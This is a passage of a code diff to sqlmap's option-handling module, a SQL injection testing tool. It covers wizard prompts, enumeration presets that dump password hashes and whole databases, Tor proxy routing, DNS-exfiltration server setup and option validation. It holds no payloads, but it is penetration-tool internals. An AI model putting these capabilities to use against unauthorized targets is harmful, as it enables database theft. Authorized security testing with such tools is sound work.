kb.heuristicExtendedDbms = None + kb.heuristicCode = None + kb.heuristicMode = False + kb.heuristicPage = False kb.heuristicTest = None - kb.hintValue = None + kb.hintValue = "" kb.htmlFp = [] kb.httpErrorCodes = {} kb.inferenceMode = False + kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False + kb.identifiedWafs = set() kb.injection = InjectionDict() kb.injections = [] - + kb.jsonAggMode = False + kb.laggingChecked = False kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "count", "index", "io", "limits", "log", "outputs", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None kb.multiThreadMode = False + kb.multipleCtrlC = False kb.negativeLogic = False + kb.nchar = True kb.nullConnection = None - kb.pageTemplate = None - kb.pageTemplates = dict() - kb.previousMethod = None - kb.processUserMarks = None + kb.oldMsf = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None + kb.originalPageTime = None kb.originalTimeDelay = None + kb.originalUrls = dict() # Back-end DBMS underlying operating system fingerprint via banner (-b) # parsing @@ -1508,54 +2179,85 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.osVersion = None kb.osSP = None + kb.pageCompress = True + kb.pageTemplate = None + kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None kb.partRun = None kb.permissionFlag = False + kb.place = None + kb.postHint = None + kb.postSpaceToPlus = False + kb.postUrlEncode = True + kb.prependFlag = False kb.processResponseCounter = 0 + kb.previousMethod = None + kb.processNonCustom = None + kb.processUserMarks = None + kb.proxies = None kb.proxyAuthHeader = None kb.queryCounter = 0 - kb.redirectChoice = None - kb.redirectSetCookie = None + kb.randomPool = {} kb.reflectiveMechanism = True - kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS:0, REFLECTIVE_COUNTER.HIT:0} - kb.responseTimes = [] + kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} + kb.requestCounter = 0 + kb.resendPostOnRedirect = None + kb.resolutionDbms = None + kb.responseTimes = {} + kb.responseTimeMode = None + kb.responseTimePayload = None kb.resumeValues = True kb.safeCharEncode = False + kb.safeReq = AttribDict() + kb.secondReq = None + kb.serverHeader = None kb.singleLogFlags = set() - kb.skipOthersDbms = None - kb.stickyFlag = False + kb.skipSeqMatcher = False + kb.smokeMode = False + kb.reduceTests = None + kb.sslSuccess = False + kb.startTime = time.time() + kb.stickyDBMS = False kb.suppressResumeInfo = False + kb.tableFrom = None kb.technique = None + kb.tempDir = None kb.testMode = False + kb.testOnlyCustom = False kb.testQueryCount = 0 + kb.testType = None kb.threadContinue = True kb.threadException = False - kb.timeValidCharsRun = 0 kb.uChar = NULL + kb.udfFail = False kb.unionDuplicates = False + kb.unionTemplate = None + kb.webSocketRecvCount = None + kb.wizardMode = False kb.xpCmdshellAvailable = False - kb.chars = AttribDict() - kb.chars.delimiter = randomStr(length=6, lowercase=True) - kb.chars.start = ":%s:" % randomStr(length=3, lowercase=True) - kb.chars.stop = ":%s:" % randomStr(length=3, lowercase=True) - - kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = (":%s:" % _ for _ in randomStr(length=4, lowercase=True)) - if flushAll: + kb.checkSitemap = None kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) + kb.lastCtrlCTime = None + kb.normalizeCrawlingChoice = None kb.passwordMgr = None - kb.scanOnlyGoogleGETs = None + kb.postprocessFunctions = [] + kb.preprocessFunctions = [] + kb.skipVulnHost = None + kb.storeCrawlingChoice = None kb.tamperFunctions = [] - kb.targetUrls = oset() + kb.targets = OrderedSet() kb.testedParams = set() kb.userAgents = None kb.vainRun = True - kb.wordlist = None + kb.vulnHosts = set() + kb.wafFunctions = [] + kb.wordlists = None -def __useWizardInterface(): +def _useWizardInterface(): """ Presents simple wizard interface for beginner users """ @@ -1565,25 +2267,20 @@ def __useWizardInterface(): logger.info("starting wizard interface") - while True: - while not conf.url: - message = "Please enter full target URL (-u): " - conf.url = readInput(message, default=None) + while not conf.url: + message = "Please enter full target URL (-u): " + conf.url = readInput(message, default=None, checkBatch=False) - message = "POST data (--data) [Enter for None]: " - conf.data = readInput(message, default=None) + message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) + conf.data = readInput(message, default=None) - if filter(lambda x: '=' in str(x), [conf.url, conf.data]) or '*' in conf.url: - break - else: - warnMsg = "no GET and/or POST parameter(s) found for testing " - warnMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" - logger.critical(warnMsg) - - if conf.crawlDepth or conf.forms: - break - else: - conf.url = conf.data = None + if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): + warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) + warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " + if not conf.crawlDepth and not conf.forms: + warnMsg += "Will search for forms" + conf.forms = True + logger.warning(warnMsg) choice = None @@ -1602,19 +2299,23 @@ def __useWizardInterface(): conf.risk = 1 conf.level = 1 - choice = None + if not conf.getAll: + choice = None - while choice is None or choice not in ("", "1", "2", "3"): - message = "Enumeration (--banner/--current-user/etc). Please choose:\n" - message += "[1] Basic (default)\n[2] Smart\n[3] All" - choice = readInput(message, default='1') + while choice is None or choice not in ("", "1", "2", "3"): + message = "Enumeration (--banner/--current-user/etc). Please choose:\n" + message += "[1] Basic (default)\n[2] Intermediate\n[3] All" + choice = readInput(message, default='1') - if choice == '2': - map(lambda x: conf.__setitem__(x, True), ['getBanner', 'getCurrentUser', 'getCurrentDb', 'isDba', 'getUsers', 'getDbs', 'getTables', 'getSchema', 'excludeSysDbs']) - elif choice == '3': - map(lambda x: conf.__setitem__(x, True), ['getBanner', 'getCurrentUser', 'getCurrentDb', 'isDba', 'getUsers', 'getPasswordHashes', 'getPrivileges', 'getRoles', 'dumpAll']) - else: - map(lambda x: conf.__setitem__(x, True), ['getBanner', 'getCurrentUser', 'getCurrentDb', 'isDba']) + if choice == '2': + options = WIZARD.INTERMEDIATE + elif choice == '3': + options = WIZARD.ALL + else: + options = WIZARD.BASIC + + for _ in options: + conf.__setitem__(_, True) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 @@ -1624,63 +2325,26 @@ def __useWizardInterface(): dataToStdout("\nsqlmap is running, please wait..\n\n") -def __saveCmdline(): + kb.wizardMode = True + +def _saveConfig(): """ - Saves the command line options on a sqlmap configuration INI file + Saves the command line options to a sqlmap configuration INI file Format. """ - if not conf.saveCmdline: + if not conf.saveConfig: return - debugMsg = "saving command line options on a sqlmap configuration INI file" + debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) - config = UnicodeRawConfigParser() - userOpts = {} - - for family in optDict.keys(): - userOpts[family] = [] - - for option, value in conf.items(): - for family, optionData in optDict.items(): - if option in optionData: - userOpts[family].append((option, value, optionData[option])) - - for family, optionData in userOpts.items(): - config.add_section(family) - - optionData.sort() + saveConfig(conf, conf.saveConfig) - for option, value, datatype in optionData: - if datatype and isListLike(datatype): - datatype = datatype[0] - - if value is None: - if datatype == "boolean": - value = "False" - elif datatype in ( "integer", "float" ): - if option in ( "threads", "verbose" ): - value = "1" - elif option == "timeout": - value = "10" - else: - value = "0" - elif datatype == "string": - value = "" - - if isinstance(value, basestring): - value = value.replace("\n", "\n ") - - config.set(family, option, value) - - confFP = openFile(paths.SQLMAP_CONFIG, "wb") - config.write(confFP) - - infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG + infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) -def __setVerbosity(): +def setVerbosity(): """ This function set the verbosity of sqlmap output messages. """ @@ -1706,7 +2370,44 @@ def __setVerbosity(): elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) -def __mergeOptions(inputOptions, overrideOptions): +def _normalizeOptions(inputOptions): + """ + Sets proper option types + """ + + types_ = {} + for group in optDict.keys(): + types_.update(optDict[group]) + + for key in inputOptions: + if key in types_: + value = inputOptions[key] + if value is None: + continue + + type_ = types_[key] + if type_ and isinstance(type_, tuple): + type_ = type_[0] + + if type_ == OPTION_TYPE.BOOLEAN: + try: + value = bool(value) + except (TypeError, ValueError): + value = False + elif type_ == OPTION_TYPE.INTEGER: + try: + value = int(value) + except (TypeError, ValueError): + value = 0 + elif type_ == OPTION_TYPE.FLOAT: + try: + value = float(value) + except (TypeError, ValueError): + value = 0.0 + + inputOptions[key] = value + +def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @@ -1726,23 +2427,55 @@ def __mergeOptions(inputOptions, overrideOptions): if key not in conf or value not in (None, False) or overrideOptions: conf[key] = value - for key, value in conf.items(): - if value: - kb.explicitSettings.add(key) + if not conf.api: + for key, value in conf.items(): + if value is not None: + kb.explicitSettings.add(key) for key, value in defaults.items(): - if not conf[key]: + if hasattr(conf, key) and conf[key] is None: + conf[key] = value + + if conf.unstable: + if key in ("timeSec", "retries", "timeout"): + conf[key] *= 2 + + if conf.unstable: + conf.forcePartial = True + + lut = {} + for group in optDict.keys(): + lut.update((_.upper(), _) for _ in optDict[group]) + + envOptions = {} + for key, value in os.environ.items(): + if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): + _ = key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper() + if _ in lut: + envOptions[lut[_]] = value + + if envOptions: + _normalizeOptions(envOptions) + for key, value in envOptions.items(): conf[key] = value -def __setTrafficOutputFP(): + mergedOptions.update(conf) + +def _setTrafficOutputFP(): if conf.trafficFile: infoMsg = "setting file for logging HTTP traffic" logger.info(infoMsg) conf.trafficFP = openFile(conf.trafficFile, "w+") -def __setDNSServer(): - if not conf.dName: +def _setupHTTPCollector(): + if not conf.harFile: + return + + conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() + +def _setDNSServer(): + if not conf.dnsDomain: return infoMsg = "setting up DNS server instance" @@ -1754,271 +2487,510 @@ def __setDNSServer(): try: conf.dnsServer = DNSServer() conf.dnsServer.run() - except socket.error, msg: + except socket.error as ex: errMsg = "there was an error while setting up " - errMsg += "DNS server instance ('%s')" % msg - raise sqlmapGenericException, errMsg + errMsg += "DNS server instance ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) else: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a DNS data exfiltration attack " errMsg += "as it will need to listen on privileged UDP port 53 " errMsg += "for incoming address resolution attempts" - raise sqlmapMissingPrivileges, errMsg + raise SqlmapMissingPrivileges(errMsg) + +def _setProxyList(): + if not conf.proxyFile: + return + + conf.proxyList = [] + for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, address, port = match.groups() + conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) -def __setTorProxySettings(): +def _setTorProxySettings(): if not conf.tor: return - if conf.torType == PROXYTYPE.HTTP: - __setTorHttpProxySettings() + if conf.torType == PROXY_TYPE.HTTP: + _setTorHttpProxySettings() else: - __setTorSocksProxySettings() + _setTorSocksProxySettings() -def __setTorHttpProxySettings(): +def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) - found = None - - for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort, )): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((LOCALHOST, port)) - found = port - break - except socket.error: - pass - - s.close() + port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)) - if found: - conf.proxy = "http://%s:%d" % (LOCALHOST, found) + if port: + conf.proxy = "http://%s:%d" % (LOCALHOST, port) else: - errMsg = "can't establish connection with the Tor proxy. " - errMsg += "Please make sure that you have Vidalia, Privoxy or " - errMsg += "Polipo bundle installed for you to be able to " - errMsg += "successfully use switch '--tor' " - - if IS_WIN: - errMsg += "(e.g. https://www.torproject.org/projects/vidalia.html.en)" - else: - errMsg += "(e.g. http://www.coresec.org/2011/04/24/sqlmap-with-tor/)" - - raise sqlmapConnectionException, errMsg + errMsg = "can't establish connection with the Tor HTTP proxy. " + errMsg += "Please make sure that you have Tor (bundle) installed and setup " + errMsg += "so you could be able to successfully use switch '--tor' " + raise SqlmapConnectionException(errMsg) if not conf.checkTor: warnMsg = "use switch '--check-tor' at " - warnMsg += "your own convenience when using " - warnMsg += "HTTP proxy type (option '--tor-type') " - warnMsg += "for accessing Tor anonymizing network because of " + warnMsg += "your own convenience when accessing " + warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " - warnMsg += "(e.g. Vidalia/Polipo)" - logger.warn(warnMsg) + warnMsg += "(e.g. Vidalia)" + logger.warning(warnMsg) -def __setTorSocksProxySettings(): +def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) - # Has to be SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXYTYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT) - socks.wrapmodule(urllib2) + port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,)) + + if not port: + errMsg = "can't establish connection with the Tor SOCKS proxy. " + errMsg += "Please make sure that you have Tor service installed and setup " + errMsg += "so you could be able to successfully use switch '--tor' " + raise SqlmapConnectionException(errMsg) + + # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) + socks.wrapmodule(_http_client) -def __checkTor(): +def _setHttpOptions(): + if conf.chunked and conf.data: + if hasattr(_http_client.HTTPConnection, "_set_content_length"): + _http_client.HTTPConnection._set_content_length = lambda self, *args, **kwargs: None + else: + def putheader(self, header, *values): + if header != HTTP_HEADER.CONTENT_LENGTH: + self._putheader(header, *values) + + if not hasattr(_http_client.HTTPConnection, "_putheader"): + _http_client.HTTPConnection._putheader = _http_client.HTTPConnection.putheader + + _http_client.HTTPConnection.putheader = putheader + + if conf.http10: + _http_client.HTTPConnection._http_vsn = 10 + _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' + + if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): + try: + from websocket import ABNF + except ImportError: + errMsg = "sqlmap requires third-party module 'websocket-client' " + errMsg += "in order to use WebSocket functionality" + raise SqlmapMissingDependence(errMsg) + +def _checkTor(): if not conf.checkTor: return infoMsg = "checking Tor connection" logger.info(infoMsg) - page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) - if not page or 'Congratulations' not in page: - errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" - raise sqlmapConnectionException, errMsg + try: + page, _, _ = Request.getPage(url="https://check.torproject.org/api/ip", raise404=False) + tor_status = json.loads(page) + except (SqlmapConnectionException, TypeError, ValueError): + tor_status = None + + if not tor_status or not tor_status.get("IsTor"): + errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" + raise SqlmapConnectionException(errMsg) else: infoMsg = "Tor is properly being used" logger.info(infoMsg) -def __basicOptionValidation(): +def _basicOptionValidation(): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): - errMsg = "value for --start (limitStart) option must be an integer value greater than zero (>0)" - raise sqlmapSyntaxException, errMsg + errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" + raise SqlmapSyntaxException(errMsg) if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0): - errMsg = "value for --stop (limitStop) option must be an integer value greater than zero (>0)" - raise sqlmapSyntaxException, errMsg + errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" + raise SqlmapSyntaxException(errMsg) + + if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5): + errMsg = "value for option '--level' must be an integer value from range [1, 5]" + raise SqlmapSyntaxException(errMsg) - if conf.limitStart is not None and isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ - conf.limitStop is not None and isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: - errMsg = "value for --start (limitStart) option must be smaller or equal than value for --stop (limitStop) option" - raise sqlmapSyntaxException, errMsg + if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3): + errMsg = "value for option '--risk' must be an integer value from range [1, 3]" + raise SqlmapSyntaxException(errMsg) - if conf.firstChar is not None and isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ - conf.lastChar is not None and isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: - errMsg = "value for --first (firstChar) option must be smaller than or equal to value for --last (lastChar) option" - raise sqlmapSyntaxException, errMsg + if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ + isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: + warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" + logger.warning(warnMsg) - if conf.cpuThrottle is not None and isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): - errMsg = "value for --cpu-throttle (cpuThrottle) option must be in range [0,100]" - raise sqlmapSyntaxException, errMsg + if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ + isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: + errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" + raise SqlmapSyntaxException(errMsg) + + if conf.proxyFile and not any((conf.randomAgent, conf.mobile, conf.agent, conf.requestFile)): + warnMsg = "usage of switch '--random-agent' is strongly recommended when " + warnMsg += "using option '--proxy-file'" + logger.warning(warnMsg) if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) + + if conf.uValues and conf.uChar: + errMsg = "option '--union-values' is incompatible with option '--union-char'" + raise SqlmapSyntaxException(errMsg) + + if conf.base64Parameter and conf.tamper: + errMsg = "option '--base64' is incompatible with option '--tamper'" + raise SqlmapSyntaxException(errMsg) + + if conf.eta and conf.verbose > defaults.verbose: + errMsg = "switch '--eta' is incompatible with option '-v'" + raise SqlmapSyntaxException(errMsg) + + if conf.secondUrl and conf.secondReq: + errMsg = "option '--second-url' is incompatible with option '--second-req')" + raise SqlmapSyntaxException(errMsg) + + if conf.direct and conf.url: + errMsg = "option '-d' is incompatible with option '-u' ('--url')" + raise SqlmapSyntaxException(errMsg) + + if conf.direct and conf.dbms: + errMsg = "option '-d' is incompatible with option '--dbms'" + raise SqlmapSyntaxException(errMsg) if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) + + if conf.dumpTable and conf.search: + errMsg = "switch '--dump' is incompatible with switch '--search'" + raise SqlmapSyntaxException(errMsg) + + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" + raise SqlmapSyntaxException(errMsg) + + if conf.api and not conf.configFile: + errMsg = "switch '--api' requires usage of option '-c'" + raise SqlmapSyntaxException(errMsg) if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) if conf.string and conf.nullConnection: errMsg = "option '--string' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) + + if conf.notString and conf.nullConnection: + errMsg = "option '--not-string' is incompatible with switch '--null-connection'" + raise SqlmapSyntaxException(errMsg) + + if conf.tor and conf.osPwn: + errMsg = "option '--tor' is incompatible with switch '--os-pwn'" + raise SqlmapSyntaxException(errMsg) + + if conf.noCast and conf.hexConvert: + errMsg = "switch '--no-cast' is incompatible with switch '--hex'" + raise SqlmapSyntaxException(errMsg) + + if conf.crawlDepth: + try: + xrange(conf.crawlDepth) + except OverflowError as ex: + errMsg = "invalid value used for option '--crawl' ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + + if conf.dumpAll and conf.search: + errMsg = "switch '--dump-all' is incompatible with switch '--search'" + raise SqlmapSyntaxException(errMsg) + + if conf.string and conf.notString: + errMsg = "option '--string' is incompatible with switch '--not-string'" + raise SqlmapSyntaxException(errMsg) if conf.regexp and conf.nullConnection: errMsg = "option '--regexp' is incompatible with switch '--null-connection'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) + + if conf.regexp: + try: + re.compile(conf.regexp) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.paramExclude: + if re.search(r"\A\w+,", conf.paramExclude): + conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(','))) + + try: + re.compile(conf.paramExclude) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.retryOn: + try: + re.compile(conf.retryOn) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.retryOn, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.retries == defaults.retries: + conf.retries = 5 * conf.retries + + warnMsg = "increasing default value for " + warnMsg += "option '--retries' to %d because " % conf.retries + warnMsg += "option '--retry-on' was provided" + logger.warning(warnMsg) + + if conf.cookieDel and len(conf.cookieDel) != 1: + errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" + raise SqlmapSyntaxException(errMsg) + + if conf.crawlExclude: + try: + re.compile(conf.crawlExclude) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.scope: + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) if conf.predictOutput and (conf.threads > 1 or conf.optimize): errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) + + if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): + errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS + raise SqlmapSyntaxException(errMsg) + + if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'" + raise SqlmapSyntaxException(errMsg) + + if conf.crawlExclude and not conf.crawlDepth: + errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" + raise SqlmapSyntaxException(errMsg) + + if conf.safePost and not conf.safeUrl: + errMsg = "option '--safe-post' requires usage of option '--safe-url'" + raise SqlmapSyntaxException(errMsg) + + if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)): + errMsg = "option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'" + raise SqlmapSyntaxException(errMsg) + + if conf.safeReqFile and any((conf.safeUrl, conf.safePost)): + errMsg = "option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfUrl and not conf.csrfToken: + errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS: - errMsg = "maximum number of used threads is %d avoiding possible connection issues" % MAX_NUMBER_OF_THREADS - raise sqlmapSyntaxException, errMsg + if conf.csrfMethod and not conf.csrfToken: + errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) - if conf.forms and not conf.url: - errMsg = "switch '--forms' requires usage of option '-u' (--url)" - raise sqlmapSyntaxException, errMsg + if conf.csrfData and not conf.csrfToken: + errMsg = "option '--csrf-data' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfToken and conf.threads > 1: + errMsg = "option '--csrf-url' is incompatible with option '--threads'" + raise SqlmapSyntaxException(errMsg) + + if conf.requestFile and conf.url and conf.url != DUMMY_URL: + errMsg = "option '-r' is incompatible with option '-u' ('--url')" + raise SqlmapSyntaxException(errMsg) + + if conf.direct and conf.proxy: + errMsg = "option '-d' is incompatible with option '--proxy'" + raise SqlmapSyntaxException(errMsg) + + if conf.direct and conf.tor: + errMsg = "option '-d' is incompatible with switch '--tor'" + raise SqlmapSyntaxException(errMsg) + + if not conf.technique: + errMsg = "option '--technique' can't be empty" + raise SqlmapSyntaxException(errMsg) if conf.tor and conf.ignoreProxy: errMsg = "switch '--tor' is incompatible with switch '--ignore-proxy'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) if conf.tor and conf.proxy: errMsg = "switch '--tor' is incompatible with option '--proxy'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) + + if conf.proxy and conf.proxyFile: + errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" + raise SqlmapSyntaxException(errMsg) + + if conf.proxyFreq and not conf.proxyFile: + errMsg = "option '--proxy-freq' requires usage of option '--proxy-file'" + raise SqlmapSyntaxException(errMsg) + + if conf.checkTor and not any((conf.tor, conf.proxy)): + errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" + raise SqlmapSyntaxException(errMsg) - if conf.checkTor and not any([conf.tor, conf.proxy]): - errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" - raise sqlmapSyntaxException, errMsg + if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): + errMsg = "value for option '--tor-port' must be in range [0, 65535]" + raise SqlmapSyntaxException(errMsg) - if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort > 0): - errMsg = "value for option '--tor-port' must be a positive integer" - raise sqlmapSyntaxException, errMsg + if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): + errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) + raise SqlmapSyntaxException(errMsg) - if conf.torType not in getPublicTypeMembers(PROXYTYPE, True): - errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXYTYPE, True)) - raise sqlmapSyntaxException, errMsg + if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): + errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) + raise SqlmapSyntaxException(errMsg) + + if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1): + errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position " + errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR + raise SqlmapSyntaxException(errMsg) if conf.skip and conf.testParameter: - errMsg = "option '--skip' is incompatible with option '-p'" - raise sqlmapSyntaxException, errMsg + if intersect(conf.skip, conf.testParameter): + errMsg = "option '--skip' is incompatible with option '-p'" + raise SqlmapSyntaxException(errMsg) + + if conf.rParam and conf.testParameter: + if intersect(conf.rParam, conf.testParameter): + errMsg = "option '--randomize' is incompatible with option '-p'" + raise SqlmapSyntaxException(errMsg) if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.ignoreProxy: errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) - if conf.forms and any([conf.logFile, conf.bulkFile, conf.direct, conf.requestFile, conf.googleDork]): - errMsg = "switch '--forms' is compatible only with option '-u' (--url)" - raise sqlmapSyntaxException, errMsg + if conf.alert and conf.alert.startswith('-'): + errMsg = "value for option '--alert' must be valid operating system command(s)" + raise SqlmapSyntaxException(errMsg) if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) - if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): - errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" - raise sqlmapSyntaxException, errMsg + if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): + errMsg = "option '--crack' 